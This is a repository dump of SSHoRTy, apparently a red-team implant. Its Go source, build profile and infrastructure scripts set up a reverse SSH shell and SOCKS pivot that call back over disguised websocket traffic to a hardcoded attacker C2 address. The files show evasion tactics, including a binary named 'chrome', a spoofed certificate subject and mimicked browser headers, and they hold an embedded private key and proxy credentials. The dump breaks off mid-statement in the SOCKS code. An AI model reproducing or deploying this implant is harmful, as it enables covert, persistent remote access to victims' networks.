Repository: dsnezhkov/SSHoRTy Branch: master Commit: 1f2cf786fbc8 Files: 22 Total size: 60.2 KB Directory structure: gitextract_a4fzm16i/ ├── .gitignore ├── LICENSE.md ├── README.md ├── conf/ │ └── build.profile ├── infra/ │ ├── gencert.sh │ ├── squid.conf │ └── wss2ssh_tun.sh ├── keys/ │ ├── sslcert.pem │ └── sslkey.pem ├── src/ │ ├── keymgmt.go │ ├── pty.go │ ├── rssh.go │ ├── socksport.go │ ├── traffic.go │ ├── types.go │ └── vars.go └── tools/ ├── build_implant.sh ├── call_implant_daemon.py ├── install_implant.sh ├── keygen.go ├── test_deploy.sh └── transfer_implant_keys.sh ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ out/ .ssh/ .idea/ aux/ ================================================ FILE: LICENSE.md ================================================ The MIT License (MIT) --- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ ## What is SSHoRTy? A progressive, customizable standalone reverse SSH shell tunnel and SOCKS proxy implant for Linux and MacOS systems that tries hard to get a Red Team operator from :large_blue_circle: to :red_circle:, often with a :smile: and without :cold_sweat: --- For detailed guide please see [Wiki](https://github.com/dsnezhkov/SSHoRTy/wiki) ================================================ FILE: conf/build.profile ================================================ ##################################################################################################### # # SSHoRTTy: Linux (future Mac) SSH real time shell implant # - Build custom versions for every environment # - Achieve full shell on internal host over reverse SSH tunnels. # readline, history, terminal UI, scp, sftp, exec over the same chanel # - SOCKS support out of the box # Future: X forward, direct local and remote port tunnels. # - Armorized egress from corporate environment over websockets # - Proxy awareness (explicit and from environment) and ability to have credentials support # - Future: HTTP/2 tunnels # # Future: Ability to specify and control commands run in restricted shells by junior RTOs. # ####################### BUILD CONFIGURATION ######################################################### # === Regular SSH Tunnel === # # Goals: # - Do not use local SSH clients, drop your own. Avoids logging # - Cannot task employees to run convoluted SSH commands for us. One binary launch. # - Default SOCKS ports for convenience of the Red team operator. # - Achieves distributed nature of the connectivity and helps avoid attribution # # [Organization] ----- |Internet| ------ [Attacker C2] # # (Dropper) ------ Call back ------> SSH Server -------------------| # | Attacker SSH shell client # 1. Internal Host <==== SSH Client <= Reverse Shell ==== SSH Server ----| (rendezvous) # | Attacker Browser+SOCKS # 2. Internal Hosts N <==== SSH Client <= Reverse SOCKS ==== SSH Server -| # Internal Hosts N+1 # # # # === Websocket Armorized SSH Tunnel === # # Goals: # - Hide from egress deep packet inspection catching SSH traffic # - Allow mimicry of a legitimate websocket traffic # - Work with a potential outbound proxy, support authentication # - Egress on port 443 # # How it fits in the overall design: # # # [Organization] ------------------------|Internet| -- [Attacker C2] # # (Dropper) -----> ----------> Red Websocket proxy # | --> TCP tunnel --> Red SSH Server # |--> rendezvous SOCKS ports # ^ # Private SSH for Red ___| # ^ # Red Team oper __________________| # # ######################## CONFIGURATION #################################### ## SSH SSHServer (host) # Proper publicly visible SSH host to connect/redirect to # Please note: without armorized tunnels this is the only option to reach SSH server # When using armorized tunnels like websockify over WSS:// you may have more exit options # For example, if the WSS:// exit host is multihomed you could connect to the second network's SSH server # SSHServerHost=10.16.0.5 # Or, you can even listen SSH on the localhost only if directly terminating agents on the WSS:// exit host # This affords no exposure of SSH port to the wild at all. # SSHServerHost=167.99.88.24 SSHServerHost=127.0.0.1 # SSH port the Red server or a redirect listens on for agents on the exit node SSHServerPort=222 # OS account with the private key the implant has to connect to the SSH server with # see gen_ssh_user.sh # TODO: Randomize the user SSHServerUser=4fa48c653682c3b04add14f434a3114 # Implant ID ImplantID=${SSHServerUser} ## Implant SSH protected B64 wrapped PK for distribution and embedding # Option A: Local encrypted key wrapped in Base64 which gets embedded into the implant # If file is embedded no remote SSH key fetch is made from the hosting server SSHServerUserKeyFile="./out/${ImplantID}/${ImplantID}" # !! SSHServerUserKey= < contents of ${SSHServerUserKeyFile} > Filled in at build time # Option B: if the key needs to be pulled remotely # The agent pulls the protected key and decrypts a key with a password. # This is not SSH PK encryption, but a SSHORTY's "on the wire" protection scheme. # Why not a direct pass-phrase encrypted SSH PK? Because there are a ton of SSH key file formats. # For now we want to deal with a straight RSA 4096 keys, without relying on OpenSSH format quirks. # tool: keygen.go SSHServerUserKeyUrl="http://127.0.0.1:9000/${ImplantID}.bpk" # Implant SSH protection password (wire, in-code storage safety) # tool: keygen.go SSHServerUserKeyPassphrase=$( dd if=/dev/urandom bs=1024 count=1 2>/dev/null | shasum | cut -c 1-31 ) SSHServerUserKeyBits=4096 # Channel IP for reverse SSH tunnel (addr) # After the initial SSH session is established # listen on SSH and SOCKS ports on this address for reverse tunnels SSHRemoteCmdHost=127.0.0.1 # Channel IP for reverse SSH tunnel (port) SSHRemoteCmdPort=2022 # Channel IP for reverse tunnel SOCKS (addr) SSHRemoteSocksHost=127.0.0.1 # Channel IP for reverse tunnel SOCKS (port) SSHRemoteSocksPort=1080 # Operator Implant logon (user) # Reverse tunnels' user on Red side # This is used for an additional authentication to protect reverse tunnels from the RT insiders SSHRemoteCmdUser=operator # Operator Implant logon (password) # Randomized on every build. # Ex: SSHRemoteCmdPwd=da39a3ee5e6b4b0d3255bfef9560189 SSHRemoteCmdPwd=$( dd if=/dev/urandom bs=1024 count=1 2>/dev/null | shasum | cut -c 1-31 ) # The implant introspects SHELL variable from the destination environment, # If it is undefined it falls back to this: SSHShell="/bin/sh" # `exec` TERM value, vt100, xterm, etc. SSHEnvTerm="xterm" #--------------- :: Transport :: -----------------# # How do we get to the SSH tunnel. WS/WSS and Proxies # Intercepting Proxy (Burp) # export http_proxy="http://127.0.0.1:8088" HTTPProxyFromEnvironment="no" # Egress proxy # TODO: HTTP/S proxy HTTPProxy="http://167.99.88.24:8080" # Squid # Egress proxy auth (plain) # TODO: research NTLM if needed https://github.com/vadimi/go-http-ntlm HTTPProxyAuthUser="companyuser" HTTPProxyAuthPass="Drag0n" #---------- :: Armorized Carrier :: ---------------# # HTTP endpoint: HTTPEndpoint="http://167.99.88.24:8082" # WS/WSS endpoint: WSEndpoint="wss://167.99.88.24:8082/stream" #----------- :: Implant Operating Context :: ---# # Implant bin/lib name DropperName="chrome" # Implant build type: a library or binary` # options : exe, c-shared, default # C-shared is good for LD_PRELOAD DropperBuildType="exe" # Supported OS: # darwin # linux DropperOS="darwin" # Supported ARCH: # amd64 # i386 DropperArch="amd64" # Background and detach from console. # Go solution while works is not very elegant out of the box # You can use python deamonizer + setpoctitile to get more freedom, # or ZombieAntFarm fetcher. # Turn On: "yes" Daemonize="no" # Daemon: Log progress messages to file (local debug) # We do not want to log in production, but we want to debug to a log file locally LogFile="/tmp/${DropperName}.log" # Daemon: Track the implant PID # We do not want to save pid in production, but we want to do it locally PIDFile="/tmp/${DropperName}.pid" ================================================ FILE: infra/gencert.sh ================================================ #!/usr/bin/env bash DBASE="/opt/sshorty" DKEYS="${DBASE}/keys" echo "[+] Generating SSL Keys" openssl req -x509 -nodes -newkey rsa:2048 \ -keyout ${DKEYS}/server.key \ -out ${DKEYS}/server.crt -days 365 \ -subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=globalprotect.com" ================================================ FILE: infra/squid.conf ================================================ # # Recommended minimum configuration: # auth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid/passwords auth_param basic casesensitive off auth_param basic credentialsttl 5 minutes acl user_auth proxy_auth REQUIRED http_access allow user_auth # Example rule allowing access from your local networks. # Adapt to list your (internal) IP networks from where browsing # should be allowed acl localnet src 98.193.47.242/32 acl localnet src fc00::/7 # RFC 4193 local private network range acl localnet src fe80::/10 # RFC 4291 link-local (directly plugged) machines acl localnet src 127.0.0.1 # acl localnet src all acl SSL_ports port 443 acl Safe_ports port 80 # http acl Safe_ports port 443 # https acl CONNECT method CONNECT sslproxy_cert_error allow all #disable this in production, it is dangerous but useful for testing sslproxy_flags DONT_VERIFY_PEER # # Recommended minimum Access Permission configuration: # # Deny requests to certain unsafe ports http_access deny !Safe_ports # Deny CONNECT to other than secure SSL ports http_access deny CONNECT !SSL_ports # Only allow cachemgr access from localhost http_access allow localhost manager http_access deny manager # We strongly recommend the following be uncommented to protect innocent # web applications running on the proxy server who think the only # one who can access services on "localhost" is a local user http_access deny to_localhost # # INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # # Example rule allowing access from your local networks. # Adapt localnet in the ACL section to list your (internal) IP networks # from where browsing should be allowed http_access allow localnet http_access allow localhost # And finally deny all other access to this proxy http_access deny all # Uncomment and adjust the following to add a disk cache directory. #cache_dir ufs /var/cache/squid 100 16 256 # Leave coredumps in the first cache dir coredump_dir /var/cache/squid forwarded_for delete http_port 167.99.88.24:8080 #### SSL ## Use the below to avoid proxy-chaining always_direct allow all ## Always complete the server-side handshake before client-side (recommended) ssl_bump bump all ## Prior to squid 3.5 it was done like this: #ssl_bump server-first all ## Allow server side certificate errors such as untrusted certificates, otherwise the connection is closed for such errors sslproxy_cert_error allow all ## Or maybe deny all server side certificate errors according to your company policy #sslproxy_cert_error deny all ## Accept certificates that fail verification (should only be needed if using 'sslproxy_cert_error allow all') sslproxy_flags DONT_VERIFY_PEER ## Modify the http_port directive to perform SSL interception ## Ensure to point to the cert/key created earlier ## Disable SSLv2 because it isn't safe https_port 167.99.88.24:443 intercept ssl-bump cert=/etc/squid/squid.pem key=/etc/squid/squid.key generate-host-certificates=on options=NO_SSLv2 ## Disable ssl interception for dropbox.com and hotmail.com (and localhost) acl no_ssl_interception dstdomain .google.com ssl_bump none localhost ssl_bump none no_ssl_interception ## Add the rest of your ssl-bump rules below ## e.g ssl_bump bump all ## etc ### DNS dns_nameservers 1.1.1.1 9.9.9.9 # # Add any of your own refresh_pattern entries above these. # refresh_pattern . 0 20% 4320 ================================================ FILE: infra/wss2ssh_tun.sh ================================================ #!/usr/bin/env bash # DESTINATION_SSH_ADDR=167.99.88.24 DESTINATION_SSH_ADDR=127.0.0.1 DESTINATION_SSH_PORT=222 WSS_LPORT=8082 /opt/sshorty/websockify/websockify.py --ssl-only --log-file=/opt/sshorty/logs/websocksify.log --cert=/opt/sshorty/keys/server.crt --key=/opt/sshorty/keys/server.key ${WSS_LPORT} ${DESTINATION_SSH_ADDR}:${DESTINATION_SSH_PORT} ================================================ FILE: keys/sslcert.pem ================================================ -----BEGIN CERTIFICATE----- MIIDajCCAlICCQCia/YFAUv+8TANBgkqhkiG9w0BAQsFADB3MQswCQYDVQQGEwJH QjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYDVQQHDAZMb25kb24xGDAWBgNVBAoMD0ds b2JhbCBTZWN1cml0eTEWMBQGA1UECwwNSVQgRGVwYXJ0bWVudDEUMBIGA1UEAwwL ZXhhbXBsZS5jb20wHhcNMTgxMTMwMDA1MzU4WhcNMTkxMTMwMDA1MzU4WjB3MQsw CQYDVQQGEwJHQjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYDVQQHDAZMb25kb24xGDAW BgNVBAoMD0dsb2JhbCBTZWN1cml0eTEWMBQGA1UECwwNSVQgRGVwYXJ0bWVudDEU MBIGA1UEAwwLZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQD2B+h4l0BmWIXLK4n9EjXeSbT/Vg3imwDY3RFRsk/0/6QOOVEnMZIT2h63 RAydOdOKhdJ8MPTv8RLF7K2W+vXnj9JvyoI4cc01RpFvMdNpdJG72nTC+ziaVWGN 4GmAMeMWJvrw2deihZgGFXbXTlD/FupQ+vO3HAHu0Y3GYgG5jcnEbHmv7dvwhUOd ElqTSfYYRmqbuBf2HgQf25qNT9YJz5J9jDIDn2Z/lF3Fyms71hJTh75pOqX1X4SD zF2ssIW+1/wHHu/lBfbkBZMqP0nYlX3t4035wq7OfZ0gB601YP/Qz3ObJ663xtKF l7VXMDaUxkc6OBJtc4760WfFpqCvAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAFxN DG3sufb90luchDgiBwlrcgIuE1LPDflKYYBEN22HNtHCZS/woLLPZ3Eh7VEJYos9 rea0cUWCNuRsmKPuTYmcJu9pT1AC1fw33XB8HgO/ohR/rlqKJVGEyMvaUuTF0+Vu HcRccFRvLUnFvfqyIQcoYJ6ywq207QRMyN02mqJXuLmNF57Gifu5cU3bXCqrvkcH pgq+AvEV7cwV5a+M097Jq3vfkJ5Dp99vE2D2NNIhNkYvt/zcKDcjBwkC7T5qVXSU p7GgJGqve/s5LO9dcYh7v3aBYhEU/BbJHalEmIbJSv0gIEiW6STjSESO4PpZdNJA F82d/IC1zN8f8dM39s4= -----END CERTIFICATE----- ================================================ FILE: keys/sslkey.pem ================================================ -----BEGIN PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQD2B+h4l0BmWIXL K4n9EjXeSbT/Vg3imwDY3RFRsk/0/6QOOVEnMZIT2h63RAydOdOKhdJ8MPTv8RLF 7K2W+vXnj9JvyoI4cc01RpFvMdNpdJG72nTC+ziaVWGN4GmAMeMWJvrw2deihZgG FXbXTlD/FupQ+vO3HAHu0Y3GYgG5jcnEbHmv7dvwhUOdElqTSfYYRmqbuBf2HgQf 25qNT9YJz5J9jDIDn2Z/lF3Fyms71hJTh75pOqX1X4SDzF2ssIW+1/wHHu/lBfbk BZMqP0nYlX3t4035wq7OfZ0gB601YP/Qz3ObJ663xtKFl7VXMDaUxkc6OBJtc476 0WfFpqCvAgMBAAECggEAbx3tOaGePVsXukYEwV6bI7UIYRXdmY3GGSvm6Y3uHMnk r2PlqhzyS7MEkmLSi6QVTYfZI6v8w+2OPAQD9p+LtjS3pzPAEnwbYUdo4d6QDB3Q wBYPDAzoaJPNRoWnQHXHiTa7uVG52TYbDgxdqyo83Kjd1QsyTW4B1XmhXYrgGovz cZ0EltkXmkrzJHMFuMGJM50WYYJY1qpmVyEd+e89XG8qWdilW8RsKA4Dj2Xutu1Z eri3qG0eng2V5vXixQglhSiaYQpOq1r/1GRJLhkC7SCPuFGd6Sj4GgG79IdkAZiW ANs+g5deI8E8eRUywbzReVcFXAO1CERMgTs8kQaSiQKBgQD99RTOfCADkSaTEU/A bHJPxYNOK3plPbEDVnSCirGZfAzTgsFnWGDDGdzzfA1bGpBt3BVCAV063qq6Y6hN 8M9ybrsnU0MMfNjHB45DXZdIDeQBKuLizRpg3e3pLDU+l4agXsdEcO6SZjSpHtVX xOf6vuziWUgcSSOqlI+l4Q1LawKBgQD4AoFuyDJb+uqS5w6U5SSOc29zLqHrRpYc hygRa1ZuM5USpAjfO4c4iRkKA1ubE5AbN0dtodCTAr4he9jwaHyhaZL0FYIY9s8e lfwesjKQFTv78ggbBtHBrhZFquHq78VKSUsW2HT/iuSTVLP+C176hpyp7na2KnVn lP1Ep260zQKBgDTwyFubKJlVwvLZowR8FwBmLk83ZRaB28rUVQl5nDhg0dOt6F+A 3vsNAzCG5cneKcmdHZla63KARJsCd214C+bRCpbSFqIdzJsBCjkk44qTyrorlIyv MRaMbTI0kwzvTZNU7rlnyXQfdk7jLJpVY/6zmnI9JnkvDg5bVe7AkaLtAoGAVH7G CjA6uAusj5AY77GB2uaJOfzRPY825VFG3Whsce8xAsDQJP3q+9/5n+e09gicOCmF NFzE6tEsZcwEBSQUEgod/vq08DxmJE2FMBAWGfCiFxxGlq6kGBBvlhy6C4jU9pIx +v6UHdv8NBXPnOXS3heumFaeK0Ib7cZc418H4KECgYBsEQK9MGPjekIA2Sp7gWpY aP6WRepvdXhHNDcJFdhKFib1N7scheyVkRvqi1mHcYvV+rP/2OHzzmILSucFXIvw 87wwnp23ry6zGV76vtfHtxizoYIfrt6+sSmAt/fPUPfyLU2nzQ0VhogZyTx+iWtR 5EaegxtQ7F86UaMVzRdlbg== -----END PRIVATE KEY----- ================================================ FILE: src/keymgmt.go ================================================ package main import ( "crypto/aes" "crypto/cipher" "crypto/md5" "encoding/hex" ) // Decrypts an AES blob by applying a hash of a passphrase, // Returns decrypted array of bytes func KeyDecrypt(data []byte, passphrase string) []byte { key := []byte(KeyCreateHash(passphrase)) block, err := aes.NewCipher(key) if err != nil { panic(err.Error()) } gcm, err := cipher.NewGCM(block) if err != nil { panic(err.Error()) } nonceSize := gcm.NonceSize() nonce, ciphertext := data[:nonceSize], data[nonceSize:] plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { panic(err.Error()) } return plaintext } // Derives a key from a passphrase string func KeyCreateHash(key string) string { hasher := md5.New() hasher.Write([]byte(key)) return hex.EncodeToString(hasher.Sum(nil)) } ================================================ FILE: src/pty.go ================================================ package main import ( "encoding/binary" "log" "syscall" "unsafe" ) // parseDims extracts two uint32s from the provided buffer. func parseDims(b []byte) (uint32, uint32) { w := binary.BigEndian.Uint32(b) h := binary.BigEndian.Uint32(b[4:]) return w, h } // Winsize stores the Height and Width of a terminal. type Winsize struct { Height uint16 Width uint16 x uint16 // unused y uint16 // unused } // SetWinsize sets the size of the given pty. func SetWinsize(fd uintptr, w, h uint32) { log.Printf("Pty: window resize %dx%d", w, h) ws := &Winsize{Width: uint16(w), Height: uint16(h)} syscall.Syscall( syscall.SYS_IOCTL, fd, uintptr(syscall.TIOCSWINSZ), uintptr(unsafe.Pointer(ws))) } ================================================ FILE: src/rssh.go ================================================ /* SSH implant */ package main import ( "C" "crypto/tls" "encoding/base64" "fmt" "io/ioutil" "log" "net/http" "net/http/cookiejar" "net/url" "os" "os/exec" "os/signal" "runtime" "strconv" "strings" "syscall" "time" "github.com/gorilla/websocket" "golang.org/x/crypto/ssh" ) // For buildmode shared // export as `entry` //export entry func entry() int { main() return 0 } func main() { if len(os.Args) != 2 { fmt.Printf("FYI: Use %s [start|stop] but OK... \n ", os.Args[0]) } if LogFile != "" { flog, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Println(err) } defer flog.Close() log.SetOutput(flog) } if Daemonize == strings.ToLower("yes") { if len(os.Args) == 1 || strings.ToLower(os.Args[1]) == "start" { // check if daemon already running. if _, err := os.Stat(PIDFile); err == nil { log.Println("Implant: Already running or pid file exist.") os.Exit(1) } cmd := exec.Command(os.Args[0], "run") cmd.Start() log.Printf("Implant: Daemon process %s, PID %d\n", os.Args[0], cmd.Process.Pid) savePID(cmd.Process.Pid) time.Sleep(1) os.Exit(0) } if strings.ToLower(os.Args[1]) == "run" { // Make arrangement to remove PID file upon receiving the SIGTERM from kill command ch := make(chan os.Signal, 1) signal.Notify(ch, os.Interrupt, os.Kill, syscall.SIGTERM) go func() { signalType := <-ch signal.Stop(ch) log.Println("Implant: Exit command received. Exiting...") // this is a good place to flush everything to disk // before terminating. log.Println("Implant Received signal type : ", signalType) // remove PID file os.Remove(PIDFile) os.Exit(0) }() doit() } // upon receiving the stop command // read the Process ID stored in PIDfile // kill the process using the Process ID // and exit. If Process ID does not exist, prompt error and quit if strings.ToLower(os.Args[1]) == "stop" { if _, err := os.Stat(PIDFile); err == nil { data, err := ioutil.ReadFile(PIDFile) if err != nil { log.Println("Implant: Daemon Not running") os.Exit(1) } ProcessID, err := strconv.Atoi(string(data)) if err != nil { log.Println("Implant: Unable to read and parse process id found in ", PIDFile) os.Exit(1) } process, err := os.FindProcess(ProcessID) if err != nil { log.Printf("Implant: Unable to find process ID [%v] with error %v \n", ProcessID, err) os.Exit(1) } // remove PID file os.Remove(PIDFile) log.Printf("Implant: Killing process ID [%v] now.\n", ProcessID) // kill process and exit immediately err = process.Kill() if err != nil { log.Printf("Implant: Unable to kill process ID [%v] with error %v \n", ProcessID, err) os.Exit(1) } else { log.Printf("Implant: Killed process ID [%v]\n", ProcessID) os.Exit(0) } } else { log.Println("Implant: Daemon Not running.") os.Exit(1) } } else { log.Printf("Implant: Unknown command : %v\n", os.Args[1]) log.Printf("Usage : %s [start|stop]\n", os.Args[0]) os.Exit(1) } } else { doit() } } // getSSHKeyHTTP fetches SSH private key from external server func getSSHKeyHTTP() ([]byte, error) { // TODO: Implement backoff: https://github.com/jpillora/backoff resp, err := http.Get(SSHServerUserKeyUrl) if err != nil { log.Println("Implant: Key Server not accessible or file not found") return nil, err } defer resp.Body.Close() eKeyBytesA, err := ioutil.ReadAll(resp.Body) if err != nil { log.Println("Implant: Key Server response not understood") return nil, err // TODO: Should not exit, instead try to remediate within backoff or return error } eKeyBytes, err := b64ToBytes(string(eKeyBytesA[:])) if err != nil { log.Println("Implant: Base64 key decode error:", err) return nil, err } return eKeyBytes, nil } func b64ToBytes(b64 string) ([]byte, error) { // Local unwrap eKeyBytes, err := base64.StdEncoding.DecodeString(b64) if err != nil { log.Println("Implant: Base64 key decode error:", err) return nil, err } return eKeyBytes, nil } func doit() { var ( eKeyBytes []byte err error httpProxyURL *url.URL ) runtime.GOMAXPROCS(runtime.NumCPU()) if SSHServerUserKey != "" { eKeyBytes, err = b64ToBytes(SSHServerUserKey) } else { // Remote fetch eKeyBytes, err = getSSHKeyHTTP() if err != nil { log.Println("Implant: Unable to proceed as SSH key not fetched") } } // Various SSH servers have different formats for SSH keys. They also change at will. // To avoid variations in (armored) SSH key, we generate our own pure RSA key irrespective of the // destination SSH server, with a passphrase. This is a passphrase to unwrap the key. key := KeyDecrypt(eKeyBytes, SSHServerUserKeyPassphrase) signer, err := ssh.ParsePrivateKey(key) if err != nil { log.Fatalf("Implant: Unable to parse private key: %v", err) } // Setup authentication with the private key sshConfig := &ssh.ClientConfig{ // SSH connection username User: SSHServerUser, Auth: []ssh.AuthMethod{ ssh.PublicKeys(signer), }, // TODO: Improve with option to validating a static Host key // HostKeyCallback: ssh.FixedHostKey(hostKey), HostKeyCallback: ssh.InsecureIgnoreHostKey(), } // Client side: // <-> Likely where websocket base network is plugged in // TODO: improve by giving option to validate instead of InsecureSkipVerify tlsClient := tls.Config{InsecureSkipVerify: true} d := websocket.Dialer{ //ReadBufferSize: 1024, //WriteBufferSize: 1024, HandshakeTimeout: 45 * time.Second, Subprotocols: []string{}, TLSClientConfig: &tlsClient, } // Dialer options. Experimental, set by flag // TODO: config variable d.EnableCompression = true // TODO: Introduce proxy options: // build the websocket dialer with proxy information like credentials // q. Use known HTTP proxy outbound if HTTPProxy != "" { // Proxy specifies a function to return a proxy for a given // Request. If the function returns a non-nil error, the // request is aborted with the provided error. // If Proxy is nil or returns a nil *URL, no proxy is used. d.Proxy = func(*http.Request) (*url.URL, error) { httpProxyURL, err = url.Parse(HTTPProxy) if err != nil { return nil, err } if HTTPProxyAuthUser != "" && HTTPProxyAuthPass != "" { httpProxyURL.User = url.UserPassword(HTTPProxyAuthUser, HTTPProxyAuthPass) } return httpProxyURL, nil } log.Println("HTTP:WS: Explicit proxy set") } // b. Get proxy from environment if HTTPProxyFromEnvironment == strings.ToLower("yes") { d.Proxy = http.ProxyFromEnvironment log.Println("HTTP:WS: Environment proxy set") } /* HTTP endpoint */ // TODO: Improve logic to differentiate WSS/WS httpEndpoint, err := url.Parse(HTTPEndpoint) if err != nil { log.Fatal(err) } // Evasion by initial HTTP Traffic flexibility. Profiles. // TODO: Refactor HTTP Evasion // cookies jar, _ := cookiejar.New(nil) d.Jar = jar cookies := []*http.Cookie{{Name: "gorilla", Value: "ws", Path: "/"}} d.Jar.SetCookies(httpEndpoint, cookies) // Setup wss evasion params // TODO: Research how this can be used data := url.Values{} data.Add("name", "foo") data.Add("surname", "bar") /* End HTTP Endpoint */ // Setup Queries (randomize /stream resource) // TODO: Why data is not seen? wssReqURL := WSEndpoint wssReq, _ := http.NewRequest("GET", wssReqURL, strings.NewReader(data.Encode())) wssReq.Form = data // Setup headers wssReq.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 1.5; rv:42.0) Gecko/20170101 Firefox/42.0") // TODO: test auth: https://github.com/gorilla/websocket/blob/master/client_server_test.go wsConn, resp, err := d.Dial(wssReqURL, wssReq.Header) // TODO: Backoff? if err != nil { log.Printf("HTTP:WS: WS-Dial INTO remote server error: %s", err) if err == websocket.ErrBadHandshake { log.Printf("HTTP:WS: Response Status: %s", resp.Status) log.Fatalln(fmt.Printf("HTTP:WS: handshake failed with status %d\n", resp.StatusCode)) } } // Implant side // Wrap SSH into WS conn := NewWebSocketConn(wsConn) sshConn, chans, reqs, err := ssh.NewClientConn( conn, SSHServerHost+":"+SSHServerPort, sshConfig) serverConn := ssh.NewClient(sshConn, chans, reqs) /* This is not needed as we are armorizing the tunnel serverConn, err = ssh.Dial("tcp", serverEndpoint.String(), sshConfig) */ // Server (Red) side: // Listen on remote server port - SSH Shell, command, Subsystems listener, err := serverConn.Listen("tcp", SSHRemoteEndpoint.String()) if err != nil { log.Fatalln(fmt.Printf("SSH: Listen open port ON SSHRemoteEndpoint error: %s", err)) } defer listener.Close() // Server (Red) side: // Listen on remote server port - SOCKS listenerS, err := serverConn.Listen("tcp", SSHRemoteEndpointSOCKS.String()) if err != nil { log.Fatalln(fmt.Printf("SSH: Listen open port ON SSHRemoteEndpointSOCKS error: %s", err)) } defer listenerS.Close() // Server (Red) side: // Setup reverse SSH client authentication config := &ssh.ServerConfig{ // Provide an additional level of protection for remote SSH shell // Operators have to provide a password to connect to the SSH implant tunnel randezvous PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) { if c.User() == SSHRemoteCmdUser && string(pass) == SSHRemoteCmdPwd { return nil, nil } return nil, fmt.Errorf("SSH: RTO password (SSHRemoteCmdPwd) rejected for %q", c.User()) }, // TODO: Implement Key-based auth for the operators // See: https://go.googlesource.com/crypto/+/master/ssh/client_auth_test.go } // use the same private key to come back to the implant config.AddHostKey(signer) // accept SOCKS listener go acceptSLoop(listenerS) // accept SSH shell acceptLoop(listener, config) } // savePID saves daemon PID to file func savePID(pid int) { file, err := os.Create(PIDFile) if err != nil { log.Printf("Implant: Daemon Unable to create pid file : %v\n", err) } defer file.Close() _, err = file.WriteString(strconv.Itoa(pid)) if err != nil { log.Printf("Implant: Daemon Unable to create pid file : %v\n", err) } file.Sync() // flush to disk } ================================================ FILE: src/socksport.go ================================================ package main import ( "bytes" "encoding/binary" "io" "log" "net" "sync" ) // handleSConn handles the SOCKS on the reverse tunnel end func handleSConn(local net.Conn) { connections.Add(1) defer local.Close() defer connections.Done() // SOCKS does not include a length in the header, so take // a punt that each request will be readable in one go. buf := make([]byte, 256) // read from local SOCKS n, err := local.Read(buf) if err != nil || n < 2 { log.Printf("SOCKS: [%s] unable to read SOCKS header: %v", local.RemoteAddr(), err) return } buf = buf[:n] // check SOCKS version // Note: Only implements v4 switch version := buf[0]; version { case 4: switch command := buf[1]; command { case 1: // get forwarded TCP port from SOCKS stream port := binary.BigEndian.Uint16(buf[2:4]) // get forwarded IP addr from SOCKS stream ip := net.IP(buf[4:8]) // create net address from the ip/port info addr := &net.TCPAddr{IP: ip, Port: int(port)} buf := buf[8:] i := bytes.Index(buf, []byte{0}) if i < 0 { log.Printf("SOCKS: [%s] unable to locate SOCKS4 user", local.RemoteAddr()) return } // is there a user user := buf[:i] log.Printf("SOCKS: [%s] incoming SOCKS4 TCP/IP stream connection, user=%q, raddr=%s", local.RemoteAddr(), user, addr) // dial from local SOCKS to remote (requested proxied) address over SSH tunnel log.Printf("SOCKS: dial %s <- %s", local.RemoteAddr(), local.LocalAddr()) //remote, err := dialer.DialTCP("tcp4", local.RemoteAddr().(*net.TCPAddr), addr) remote, err := net.Dial("tcp4", addr.String()) if err != nil { log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err) local.Write([]byte{0, 0x5b, 0, 0, 0, 0, 0, 0}) return } local.Write([]byte{0, 0x5a, 0, 0, 0, 0, 0, 0}) // transfer bytes from local SOCKS to remote proxied desired endpoint transfer(local, remote) default: log.Printf("SOCKS: [%s] unsupported command, closing connection", local.RemoteAddr()) } case 5: authlen, buf := buf[1], buf[2:] auths, buf := buf[:authlen], buf[authlen:] if !bytes.Contains(auths, []byte{0}) { log.Printf("SOCKS: [%s] unsuported SOCKS5 authentication method", local.RemoteAddr()) local.Write([]byte{0x05, 0xff}) return } local.Write([]byte{0x05, 0x00}) buf = make([]byte, 256) n, err := local.Read(buf) if err != nil { log.Printf("SOCKS: [%s] unable to read SOCKS header: %v", local.RemoteAddr(), err) return } buf = buf[:n] switch version := buf[0]; version { case 5: switch command := buf[1]; command { case 1: buf = buf[3:] switch addrtype := buf[0]; addrtype { case 1: if len(buf) < 8 { log.Printf("SOCKS: [%s] corrupt SOCKS5 TCP/IP stream connection request", local.RemoteAddr()) local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0}) return } ip := net.IP(buf[1:5]) port := binary.BigEndian.Uint16(buf[5:6]) addr := &net.TCPAddr{IP: ip, Port: int(port)} log.Printf("SOCKS: [%s] incoming SOCKS5 TCP/IP stream connection, raddr=%s", local.RemoteAddr(), addr) // remote, err := dialer.DialTCP("tcp", local.RemoteAddr().(*net.TCPAddr), addr) remote, err := 